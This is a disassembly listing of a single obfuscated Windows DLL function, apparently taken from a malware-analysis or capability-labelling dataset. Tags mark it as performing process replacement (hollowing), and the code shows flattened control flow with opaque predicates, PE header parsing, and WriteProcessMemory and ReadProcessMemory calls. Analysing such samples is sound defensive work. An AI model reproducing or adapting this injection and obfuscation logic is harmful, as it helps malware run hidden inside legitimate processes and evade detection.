Function at 0x10002b60
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x174
mov eax, dword [0x10069e00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x17c], 0x36534068
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x180], eax
sub eax, 0x8019c0c1
je 0x10006dff
jmp 0x10002b9c
mov eax, dword [ebp - 0x180]
sub eax, 0x8062626d
je 0x100089b4
jmp 0x10002bb2
mov eax, dword [ebp - 0x180]
sub eax, 0x8110ac4d
je 0x1000591e
jmp 0x10002bc8
mov eax, dword [ebp - 0x180]
sub eax, 0x8229dbd6
je 0x10005674
jmp 0x10002bde
mov eax, dword [ebp - 0x180]
sub eax, 0x825a0cac
je 0x1000b36f
jmp 0x10002bf4
mov eax, dword [ebp - 0x180]
sub eax, 0x82e6378d
je 0x10005cca
jmp 0x10002c0a
mov eax, dword [ebp - 0x180]
sub eax, 0x83b6462e
je 0x1000737f
jmp 0x10002c20
mov eax, dword [ebp - 0x180]
sub eax, 0x83cbe7bf
je 0x100092c9
jmp 0x10002c36
mov eax, dword [ebp - 0x180]
sub eax, 0x8538ea2d
je 0x1000ad34
jmp 0x10002c4c
mov eax, dword [ebp - 0x180]
sub eax, 0x855654b6
je 0x10009421
jmp 0x10002c62
mov eax, dword [ebp - 0x180]
sub eax, 0x86426b00
je 0x1000ad81
jmp 0x10002c78
mov eax, dword [ebp - 0x180]
sub eax, 0x868c1919
je 0x1000a95a
jmp 0x10002c8e
mov eax, dword [ebp - 0x180]
sub eax, 0x877667ad
je 0x10007f2e
jmp 0x10002ca4
mov eax, dword [ebp - 0x180]
sub eax, 0x8864f0f8
je 0x1000a1d1
jmp 0x10002cba
mov eax, dword [ebp - 0x180]
sub eax, 0x889beadd
je 0x10006819
jmp 0x10002cd0
mov eax, dword [ebp - 0x180]
sub eax, 0x88fa8f79
je 0x1000669e
jmp 0x10002ce6
mov eax, dword [ebp - 0x180]
sub eax, 0x893758d8
je 0x10005f54
jmp 0x10002cfc
mov eax, dword [ebp - 0x180]
sub eax, 0x89471433
je 0x10006e98
jmp 0x10002d12
mov eax, dword [ebp - 0x180]
sub eax, 0x8abd2555
je 0x1000af71
jmp 0x10002d28
mov eax, dword [ebp - 0x180]
sub eax, 0x8b1703e4
je 0x100074c6
jmp 0x10002d3e
mov eax, dword [ebp - 0x180]
sub eax, 0x8c389a6a
je 0x10007aaf
jmp 0x10002d54
mov eax, dword [ebp - 0x180]
sub eax, 0x8caaf9bd
je 0x100063f6
jmp 0x10002d6a
mov eax, dword [ebp - 0x180]
sub eax, 0x8dd26d3e
je 0x100078f4
jmp 0x10002d80
mov eax, dword [ebp - 0x180]
sub eax, 0x8f2b87a1
je 0x10007eb8
jmp 0x10002d96
mov eax, dword [ebp - 0x180]
sub eax, 0x8f2ef508
je 0x1000b300
jmp 0x10002dac
mov eax, dword [ebp - 0x180]
sub eax, 0x916f9271
je 0x1000acc7
jmp 0x10002dc2
mov eax, dword [ebp - 0x180]
sub eax, 0x928e69ab
je 0x100061ee
jmp 0x10002dd8
mov eax, dword [ebp - 0x180]
sub eax, 0x92e82728
je 0x10008341
jmp 0x10002dee
mov eax, dword [ebp - 0x180]
sub eax, 0x930dc9f4
je 0x1000a716
jmp 0x10002e04
mov eax, dword [ebp - 0x180]
sub eax, 0x93bd2b3c
je 0x1000680a
jmp 0x10002e1a
mov eax, dword [ebp - 0x180]
sub eax, 0x944a9d41
je 0x10009122
jmp 0x10002e30
mov eax, dword [ebp - 0x180]
sub eax, 0x94deeeed
je 0x10006027
jmp 0x10002e46
mov eax, dword [ebp - 0x180]
sub eax, 0x9634447d
je 0x1000863d
jmp 0x10002e5c
mov eax, dword [ebp - 0x180]
sub eax, 0x982151d5
je 0x100059ca
jmp 0x10002e72
mov eax, dword [ebp - 0x180]
sub eax, 0x9867a55b
je 0x10005bec
jmp 0x10002e88
mov eax, dword [ebp - 0x180]
sub eax, 0x98de4dd8
je 0x10009507
jmp 0x10002e9e
mov eax, dword [ebp - 0x180]
sub eax, 0x98e0601b
je 0x1000a5da
jmp 0x10002eb4
mov eax, dword [ebp - 0x180]
sub eax, 0x98e87026
je 0x10005693
jmp 0x10002eca
mov eax, dword [ebp - 0x180]
sub eax, 0x98f5666f
je 0x1000a86c
jmp 0x10002ee0
mov eax, dword [ebp - 0x180]
sub eax, 0x9905620f
je 0x10009cd1
jmp 0x10002ef6
mov eax, dword [ebp - 0x180]
sub eax, 0x991b21cd
je 0x100057f1
jmp 0x10002f0c
mov eax, dword [ebp - 0x180]
sub eax, 0x9a133c5d
je 0x1000a112
jmp 0x10002f22
mov eax, dword [ebp - 0x180]
sub eax, 0x9b2f78c0
je 0x10005457
jmp 0x10002f38
mov eax, dword [ebp - 0x180]
sub eax, 0x9bafba59
je 0x1000aca8
jmp 0x10002f4e
mov eax, dword [ebp - 0x180]
sub eax, 0x9bc43c63
je 0x1000670f
jmp 0x10002f64
mov eax, dword [ebp - 0x180]
sub eax, 0x9be095f8
je 0x10005476
jmp 0x10002f7a
mov eax, dword [ebp - 0x180]
sub eax, 0x9be7edc3
je 0x10008d98
jmp 0x10002f90
mov eax, dword [ebp - 0x180]
sub eax, 0x9be83c1e
je 0x1000a66d
jmp 0x10002fa6
mov eax, dword [ebp - 0x180]
sub eax, 0x9c07f680
je 0x10005dcd
jmp 0x10002fbc
mov eax, dword [ebp - 0x180]
sub eax, 0x9c24d001
je 0x10005655
jmp 0x10002fd2
mov eax, dword [ebp - 0x180]
sub eax, 0x9c89b35e
je 0x100061d1
jmp 0x10002fe8
mov eax, dword [ebp - 0x180]
sub eax, 0x9cd53f3a
je 0x10007b95
jmp 0x10002ffe
mov eax, dword [ebp - 0x180]
sub eax, 0x9d6001f6
je 0x1000aed6
jmp 0x10003014
mov eax, dword [ebp - 0x180]
sub eax, 0x9eddc539
je 0x100077e4
jmp 0x1000302a
mov eax, dword [ebp - 0x180]
sub eax, 0x9eec212b
je 0x10007a71
jmp 0x10003040
mov eax, dword [ebp - 0x180]
sub eax, 0x9f16523f
je 0x10007725
jmp 0x10003056
mov eax, dword [ebp - 0x180]
sub eax, 0x9f54a3d2
je 0x10005f37
jmp 0x1000306c
mov eax, dword [ebp - 0x180]
sub eax, 0x9f580c11
je 0x10007898
jmp 0x10003082
mov eax, dword [ebp - 0x180]
sub eax, 0x9f704f52
je 0x1000af42
jmp 0x10003098
mov eax, dword [ebp - 0x180]
sub eax, 0x9f7ab8ee
je 0x1000b40d
jmp 0x100030ae
mov eax, dword [ebp - 0x180]
sub eax, 0xa00989c5
je 0x10007690
jmp 0x100030c4
mov eax, dword [ebp - 0x180]
sub eax, 0xa05b522f
je 0x100053a3
jmp 0x100030da
mov eax, dword [ebp - 0x180]
sub eax, 0xa0e74025
je 0x10006950
jmp 0x100030f0
mov eax, dword [ebp - 0x180]
sub eax, 0xa1a315a8
je 0x100055c8
jmp 0x10003106
mov eax, dword [ebp - 0x180]
sub eax, 0xa39f3d8c
je 0x10009db9
movss xmm0, dword [0x10018254]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x10018250]
movss dword [ebp - 0x120], xmm0
mov ecx, dword [0x1006b120]
mov eax, dword [0x1006b11c]
mov edx, ecx
add edx, 0x55361401
sub edx, 1
sub edx, 0x55361401
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x20d919c7
mov ecx, 0x322ca0c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
movss xmm0, dword [0x100183a0]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x17c], 0x9be095f8
jmp 0x1000b498
mov ecx, dword [0x1006b120]
mov eax, dword [0x1006b11c]
mov edx, ecx
add edx, 0x4103d826
sub edx, 1
sub edx, 0x4103d826
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc896c510
mov ecx, 0xf210ab41
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
movss xmm0, dword [0x1001824c]
movss dword [ebp - 0x120], xmm0
mov ecx, dword [0x1006b120]
mov eax, dword [0x1006b11c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x49fda26c
mov ecx, 0x26cc5cce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
movss xmm0, dword [0x1001839c]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x17c], 0x8229dbd6
jmp 0x1000b498
movss xmm0, dword [0x10018398]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x17c], 0x98e87026
jmp 0x1000b498
mov dl, 1
mov eax, 0xeadd11e3
mov ecx, 0xb2f073f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
mov eax, dword [0x1006b120]
mov ecx, dword [0x1006b11c]
mov edx, eax
add edx, 0x86ec8a51
sub edx, 1
sub edx, 0x86ec8a51
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1ec9dcbf
mov ecx, 0xbbf12986
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
movss xmm0, dword [0x10018240]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x1001823c]
movss dword [ebp - 0x120], xmm0
mov ecx, dword [0x1006b120]
mov eax, dword [0x1006b11c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7e3c13da
mov ecx, 0xd5f26fe9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
mov eax, dword [0x1006b120]
mov ecx, dword [0x1006b11c]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc66d203e
mov ecx, 0x4026c10f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
movss xmm0, dword [0x10018230]
movss dword [ebp - 0x124], xmm0
mov ecx, dword [0x1006b120]
mov eax, dword [0x1006b11c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa5488adf
mov ecx, 0x3e2b7075
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
movss xmm0, dword [0x1001822c]
movss dword [ebp - 0x124], xmm0
mov ecx, dword [0x1006b120]
mov eax, dword [0x1006b11c]
mov edx, ecx
add edx, 0xc979cd77
sub edx, 1
sub edx, 0xc979cd77
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf12a7a2f
mov ecx, 0x2bb9a2d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
mov ecx, dword [0x1006b120]
mov eax, dword [0x1006b11c]
mov edx, ecx
add edx, 0xfac6367c
sub edx, 1
sub edx, 0xfac6367c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x623a4418
mov ecx, 0x6f4e8cbe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
mov dl, 1
mov eax, 0xbf761a71
mov ecx, 0x893758d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
movss xmm0, dword [0x10018364]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x10018360]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x17c], 0xba1eb48d
jmp 0x1000b498
movss xmm0, dword [0x10018228]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x10018224]
movss dword [ebp - 0x128], xmm0
mov eax, dword [0x1006b120]
mov ecx, dword [0x1006b11c]
mov edx, eax
sub edx, 0x41a97700
sub edx, 1
add edx, 0x41a97700
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x480cb2d7
mov ecx, 0x3f1f1f21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
mov dl, 1
mov eax, 0xbd49f4d0
mov ecx, 0x928e69ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
movss xmm0, dword [0x1001834c]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x10018348]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x17c], 0xca8614e3
jmp 0x1000b498
mov dl, 1
mov eax, 0x33468898
mov ecx, 0x605299b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
movss xmm0, dword [0x10018214]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x10018210]
movss dword [ebp - 0x128], xmm0
mov eax, dword [0x1006b120]
mov ecx, dword [0x1006b11c]
mov edx, eax
add edx, 0xd47c4986
sub edx, 1
sub edx, 0xd47c4986
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x410450ef
mov ecx, 0x9bc43c63
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
mov dword [ebp - 0x17c], 0x6c0c57a1
jmp 0x1000b498
mov dword [ebp - 0x17c], 0x889beadd
jmp 0x1000b498
movss xmm0, dword [0x10018340]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x17c], 0x36ef914e
jmp 0x1000b498
movss xmm0, dword [0x10018338]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x17c], 0xc8ea27f4
jmp 0x1000b498
movss xmm0, dword [0x10018324]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x17c], 0x147e79b0
jmp 0x1000b498
movss xmm0, dword [0x10018314]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x17c], 0x1fe87fb0
jmp 0x1000b498
mov dword [ebp - 0x17c], 0xe2b93e0c
jmp 0x1000b498
mov dword [ebp - 0x17c], 0x6528938f
jmp 0x1000b498
movss xmm0, dword [0x100182ec]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x17c], 0xf73ad06
jmp 0x1000b498
mov eax, dword [0x1006b120]
mov ecx, dword [0x1006b11c]
mov edx, eax
sub edx, 0xcbeea608
sub edx, 1
add edx, 0xcbeea608
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xea5dee45
mov ecx, 0xd5ee6304
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
movss xmm0, dword [0x100181d8]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100181d4]
movss dword [ebp - 0x130], xmm0
mov ecx, dword [0x1006b120]
mov eax, dword [0x1006b11c]
mov edx, ecx
sub edx, 0x97f3e5ac
sub edx, 1
add edx, 0x97f3e5ac
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9d6001f6
mov ecx, 0x40b356e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
movss xmm0, dword [0x100182e8]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x100182e4]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x100182e0]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x17c], 0xbc3d4bb2
jmp 0x1000b498
movss xmm0, dword [0x100182dc]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x17c], 0x3509baee
jmp 0x1000b498
movss xmm0, dword [0x100182d0]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x17c], 0x63c3bcd9
jmp 0x1000b498
mov dl, 1
mov eax, 0xfb1d8271
mov ecx, 0xece063c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
mov dword [ebp - 0x17c], 0xfb1d8271
jmp 0x1000b498
mov ecx, dword [0x1006b120]
mov eax, dword [0x1006b11c]
mov edx, ecx
add edx, 0xbdbd488d
sub edx, 1
sub edx, 0xbdbd488d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x34cea74f
mov ecx, 0x877667ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
movss xmm0, dword [0x100181c4]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x100181c0]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x100181bc]
movss dword [ebp - 0x138], xmm0
mov ecx, dword [0x1006b120]
mov eax, dword [0x1006b11c]
mov edx, ecx
add edx, 0xbf01420f
sub edx, 1
sub edx, 0xbf01420f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x34cea74f
mov ecx, 0xd57d3ac6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
mov dl, 1
mov eax, 0xf4960358
mov ecx, 0xb243ec06
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
mov dword [ebp - 0x17c], 0xc83c1232
jmp 0x1000b498
movss xmm0, dword [0x10018284]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x17c], 0xab0e269f
jmp 0x1000b498
movss xmm0, dword [0x10018274]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x10018270]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x17c], 0xbdf4771d
jmp 0x1000b498
mov dword [ebp - 0x17c], 0xa205f1a
jmp 0x1000b498
mov dword [ebp - 0x17c], 0x4a09de40
jmp 0x1000b498
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x140]
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x140]
mov eax, dword [ebp - 0x144]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x14c]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x14c]
add ecx, 0x26ccae1b
add ecx, 0x18
sub ecx, 0x26ccae1b
mov eax, dword [ebp - 0x14c]
movzx edx, word [eax + 0x14]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov dword [eax], 0
mov eax, dword [ebp - 0x14c]
add eax, 0x18
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x17c], 0x26f22870
jmp 0x1000b498
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x14c]
add eax, 4
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x17c], 0x4dde9770
jmp 0x1000b498
mov dl, byte [ebp - 0x95]
mov eax, 0x42e4b64
mov ecx, 0x1d694bae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
mov eax, dword [0x1006b120]
mov ecx, dword [0x1006b11c]
mov edx, eax
sub edx, 0x739196de
sub edx, 1
add edx, 0x739196de
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x45b9b898
mov ecx, 0x382e3cbf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
mov dl, byte [ebp - 0x89]
mov eax, 0x73568ece
mov ecx, 0x57c0bd38
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
mov dword [ebp - 0x17c], 0x19d1cf4f
jmp 0x1000b498
mov eax, dword [0x1006b120]
mov ecx, dword [0x1006b11c]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x321d6f14
mov ecx, 0xbf34729e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
mov ecx, dword [0x1006b120]
mov eax, dword [0x1006b11c]
mov edx, ecx
add edx, 0x1c00fff4
sub edx, 1
sub edx, 0x1c00fff4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbdefd6e5
mov ecx, 0x6aa7362e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
mov ecx, dword [0x1006b120]
mov eax, dword [0x1006b11c]
mov edx, ecx
add edx, 0x7caa8bbb
sub edx, 1
sub edx, 0x7caa8bbb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaa4228f7
mov ecx, 0xf90868db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000b498
mov dword [ebp - 0x17c], 0xcbdd1589
jmp 0x1000b498
movss xmm0, dword [0x10018220]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x17c], 0x1bb31b7d
jmp 0x1000b498
movss xmm0, dword [0x1001821c]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x17c], 0xc06be8e1
jmp 0x1000b498
mov dword [ebp - 0x17c], 0x4c20bb3f
jmp 0x1000b498
movss xmm0, dword [0x10018204]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x17c], 0x77aff5ac
jmp 0x1000b498
movss xmm0, dword [0x100181d8]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100181d4]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x17c], 0x9eddc539
jmp 0x1000b498
movss xmm0, dword [0x100181cc]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x100181c8]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x17c], 0xf189a771
jmp 0x1000b498
mov dword [ebp - 0x17c], 0xca15aeff
jmp 0x1000b498
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x17c], 0x2bec3fe
jmp 0x1000b498
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x80]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x17c], 0x5ce125a5
jmp 0x1000b498
mov dword [ebp - 0x17c], 0x4e2cbbc0
jmp 0x1000b498
jmp 0x10002b80